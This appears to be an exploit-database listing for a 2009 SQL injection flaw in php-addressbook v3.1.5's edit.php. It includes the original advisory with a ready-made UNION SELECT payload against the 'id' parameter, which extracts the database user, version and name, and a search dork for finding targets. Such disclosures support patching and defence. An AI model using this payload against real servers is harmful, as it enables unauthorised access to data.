header-logo
Suggest Exploit
vendor:
php-addressbook
by:
Hussin X
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: php-addressbook
Affected Version From: 3.1.2005
Affected Version To: 3.1.2005
Patch Exists: NO
Related CWE: N/A
CPE: a:php-addressbook:php-addressbook:3.1.5
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2009

php-addressbook v3.1.5(edit.php) SQL Injection Vulnerability

A SQL injection vulnerability exists in php-addressbook v3.1.5, which allows an attacker to execute arbitrary SQL commands via the 'id' parameter in the 'edit.php' script. An attacker can exploit this vulnerability by sending a malicious HTTP request to the vulnerable server, such as 'www.[target].com/Script/edit.php?id=-1+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8,9,10,11,12,13,14--'.

Mitigation:

Developers should ensure that user-supplied input is properly sanitized and validated before being used in SQL queries.
Source

Exploit-DB raw data:

@   php-addressbook v3.1.5(edit.php) SQL Injection Vulnerability


@    Author: Hussin X

@    Home :  www.iq-ty.com<http://www.iq-ty.com>,

@    email:  darkangel_g85[at]Yahoo[dot]com

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

@    script : http://sourceforge.net/project/showfiles.php?group_id=157964

@    DorK   : php-addressbook v3.1.5



ExPloiT :

www.[target].com/Script/edit.php?id=-1+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8,9,10,11,12,13,14--




end

IQ-SecuritY FoRuM

Navigation

Suggest Exploit

Services By CQR